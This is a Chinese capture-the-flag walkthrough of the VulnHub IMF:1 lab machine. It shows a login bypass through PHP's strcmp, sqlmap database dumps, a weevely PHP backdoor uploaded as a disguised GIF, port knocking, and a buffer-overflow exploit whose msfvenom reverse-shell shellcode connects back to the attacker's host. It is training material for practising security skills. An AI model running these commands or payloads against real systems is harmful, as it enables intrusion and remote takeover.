• VulnHub靶场篇8-IMF:1


    靶机地址:IMF:1 ~ VulnHub
    难易程度:5.5 / 10.0

    文章简要记录渗透靶机每一个过程,对于渗透过程中的每一步并非十分的详细,其中部分内容会有错,望读者指出错误,谢谢!

    摘要:扫描端口只有一个80http服务端口,对页面检查分别发现两个flag,在/imfadministrator目录下发现登录表单,根据提示利用PHPstrcmp的特性进行了绕过,进入cms.php页面,发现其下不同页面是通过get参数请求的,使用sqlmap跑出它的目录结构,发现了一个隐藏页面,得到一个upload页面,使用weevely工具进行文件上传获取低权限用户,最后再通过PWN掉agent程序得到root权限。

    主机探测&端口扫描

    靶机ip为:192.168.1.18

    端口扫描结果:

    hhh@Kali2020:~$ sudo nmap -sS -sV -A -T5 -p- 192.168.1.18
    Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-01 14:51 CST
    Nmap scan report for imf (192.168.1.18)
    Host is up (0.00022s latency).
    Not shown: 65534 filtered ports
    PORT   STATE SERVICE VERSION
    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: IMF - Homepage
    MAC Address: 08:00:27:33:EC:5A (Oracle VirtualBox virtual NIC)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
    Network Distance: 1 hop
    
    TRACEROUTE
    HOP RTT     ADDRESS
    1   0.22 ms imf (192.168.1.18)
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 61.04 seconds
    
    

    信息搜集

    80端口 http服务

    1. 在contact.php页面源码中发现了flag1
    flag1{YWxsdGhlZmlsZXM=}
    

    顺便base64解码下:allthefiles

    1. 在F12中进行检查,网络中的一些文件名比较可疑可以组成base64码, ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==,进行解码得到flag2
    flag2{aW1mYWRtaW5pc3RyYXRvcg==}
    

    再顺便解码下:imfadministrator

    yZsjf0.png

    1. 进入到/imfadministrator目录下,发现一个登录表单

    8_02.jpg

    1. 直接丢sqlmap跑它,发现并没有用
    sqlmap -o -u "http://192.168.1.18/imfadministrator/" --forms --dbs
    
    1. 使用burpsuite抓包康康
      查看该页面源代码,可以得到提示信息, 也就是说通常使用==strcmp在php中进行比较区分不同大小写字符串,但是strcmp有个特点,就是当字符串和数组进行比较时,函数返回0,我们这里可以将pass换成pass[],很巧妙的绕过了!

      <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
      

    8_03.jpg

    这里将用户名改为之前在contact页面上的一个人名rmichaels,再将pass改为pass[],成功获得flag3

    flag3{Y29udGludWVUT2Ntcw==}
    

    解码为:continueTOcms

    8_04.jpg

    1. 前往该网站,发现url中的参数可以用sqlmap跑
    2. sqlmap跑该参数

    方法一:保存抓取的包,跑该包

    sqlmap -r cmssql --risk=3 --level=5 --dbs --dump --batch --threads=10
    

    -r:指定请求文件
    --risk=3:指风险等级为3,增加OR语句的SQL注入测试
    --level=5:表示当前扫描的等级,会测试HTTP Cookie头的值和User-Agent及HTTP Reference头的值
    --dbs:列出所有的数据库
    --dump:获取转存整个表的信息
    --batch:自动按照默认值运行下去,用户无需输入
    --threads=10:指定线程为10?

    方法二:对网站直接跑

    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 --dbs --batch --random-agent
    
    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin --tables --batch --random-agent
    
    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin -T pages --columns --batch --random-agent
    
    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin -T pages -C id,pagedata,pagename --batch --random-agent --dump
    
    或者直接可以一步
    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 --dbs --batch --dump
    

    可以看到在该数据库内有一个/tutorials-incomplete目录,前往

    http://192.168.1.18/imfadministrator/cms.php?pagename=tutorials-incomplete
    

    扫描图片中的二维码可以找到flag4

    flag4{dXBsb2Fkcjk0Mi5waHA=}
    

    解码为:uploadr942.php

    1. 前往该页面
    http://192.168.1.18/imfadministrator/uploadr942.php
    

    权限获取

    该网页是一个文件上传

    途径一:使用weevely工具

    相关资料:
    Weevely(php菜刀)工具使用详解 - FreeBuf网络安全行业门户
    Weevely (Linux中的菜刀)_Mr. Anonymous的博客-CSDN博客_weevely

    1. 生成php后门文件
    weevely generate mima123 backdoor.php
    

    基本语法:weevely generate 密码 文件名

    1. 修改gif文件,并在其内容首行增加GIF3499aa09(随机值)

    2. 讲该gif文件上传,查看源代码,在注释处有一串码,为连接的文件名

    3. 使用weevely工具进行连接

    weevely http://192.168.1.14/imfadministrator/uploads/bc9c4c4bf549.gif mima123
    
    1. 成功获取到低权限用户,浏览目录发现flag5
    flag5{YWdlbnRzZXJ2aWNlcw==}
    

    解码为:agentservices

    权限提升

    根据提示搜索agent服务,前往agent目录下

    www-data@imf: $ whereis agent
    agent: /usr/local/bin/agent
    www-data@imf:/usr/local/bin $ ls
    access_codes
    agent
    

    运行agent,检查有代理在运行,是7788端口,但是kali扫描不到该端口,需要端口碰撞

    ./agent
    netstat -ant
    

    该目录下的access_codes文件正好是端口序列,使用knock工具进行连接
    GitHub - grongor/knock: Simple python port knocking client

    ./knock 192.168.1.18 7482 8279 9467
    

    这是kali就可以扫描到该端口了

    在 weevely shell上将该agent文件放到网站下,便于我们直接获取

    cp /usr/local/bin/agent /var/www/html/imfadministrator
    wget http://192.168.1.18/imfadministrator/agent
    

    方法一

    这里相当于是一个PWN题,不是很熟,暂时就先将步骤直接操作了一遍,具体的原理需要慢慢研究

    1. 下载脚本
      https://raw.githubusercontent.com/jessekurrus/agentsploit/master/agentsploit.py

    2. 生成自己kali的shellcode

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.15 LPORT=4448 -f python -b "x00x0ax0d"
    
    1. 将shellcode进行替换,下面那部分
    buf =  ""
    buf += "xbaxf9x03x07x8fxd9xe5xd9x74x24xf4x5bx31"
    buf += "xc9xb1x12x31x53x12x03x53x12x83x12xffxe5"
    buf += "x7axd5xdbx1dx67x46x9fxb2x02x6ax96xd4x63"
    buf += "x0cx65x96x17x89xc5xa8xdaxa9x6fxaex1dxc1"
    buf += "xafxf8xdfx1ex58xfbxdfx31xf8x72x3ex81x9e"
    buf += "xd4x90xb2xedxd6x9bxd5xdfx59xc9x7dx8ex76"
    buf += "x9dx15x26xa6x4ex87xdfx31x73x15x73xcbx95"
    buf += "x29x78x06xd5"
    
    1. 监听端口4448
    nc -lnvp 4448
    
    1. 执行exp代码
    python exp.py 192.168.1.18 7788
    

    连接成功,访问得到flag6

    flag6{R2gwc3RQcm90MGMwbHM=}
    

    解码为:Gh0stProt0c0ls

    root@imf:/root# cat TheEnd.txt
       ____                        _ __   __   
      /  _/_ _  ___  ___  ___ ___ (_) /  / /__ 
     _/ //  ' / _ / _ (_-<(_-</ / _ / / -_)
    /___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/ 
       __  __/_/        _                      
      /  |/  (_)__ ___ (_)__  ___              
     / /|_/ / (_-<(_-</ / _ / _              
    /_/__/_/_/___/___/_/\___/_//_/             
      / __/__  ___________                     
     / _// _ / __/ __/ -_)                    
    /_/  \___/_/  \__/\__/                     
                                               
    Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
    Thank you for trying this challenge and please send any feedback.
    
    Geckom
    Twitter: @g3ck0ma
    Email: geckom@redteamr.com
    Web: http://redteamr.com
    
    Special Thanks
    Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
    Web Advice: Menztrual (@menztrual)
    Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)
    

    总结

    1. burpsuite
    2. PHP strcmp特性
    3. sqlmap跑目录名
    4. 文件上传
    5. weevely工具
    6. 端口碰撞
    7. PWN

    参考

    VulnHub: Разбор IMF 1 и очередное переполнение буфера / Habr

    Vulnhub-靶机-IMF: 1 - 白帽安全技术复现 - 博客园 (cnblogs.com)

    IMF Walkthrough (VulnHub) – Digitalmunition

    No.8-VulnHub-IMF: 1-Walkthrough渗透学习_大余xiyou的博客-CSDN博客

    https://www.youtube.com/watch?v=Hxu668hgmnA&feature=youtu.be

  • 相关阅读:
    token是什么?和session什么区别,怎么用
    HashTable详解
    Cookie和Session的区别
    测试基础面试题
    什么是回归测试?回归测试的主要目的是什么?
    每天一个linux常用命令--ls 和 -ll 有什么区别?
    python中6个序列的内置类型分别是什么,列表和元组的异同有哪些
    今天去面试自动化测试,被几个问题问住了,记录下
    python排序算法-冒泡和快速排序,解答阿里面试题
    Myeclipse使用积累
  • 原文地址:https://www.cnblogs.com/labster/p/14361196.html
Copyright © 2020-2023  润新知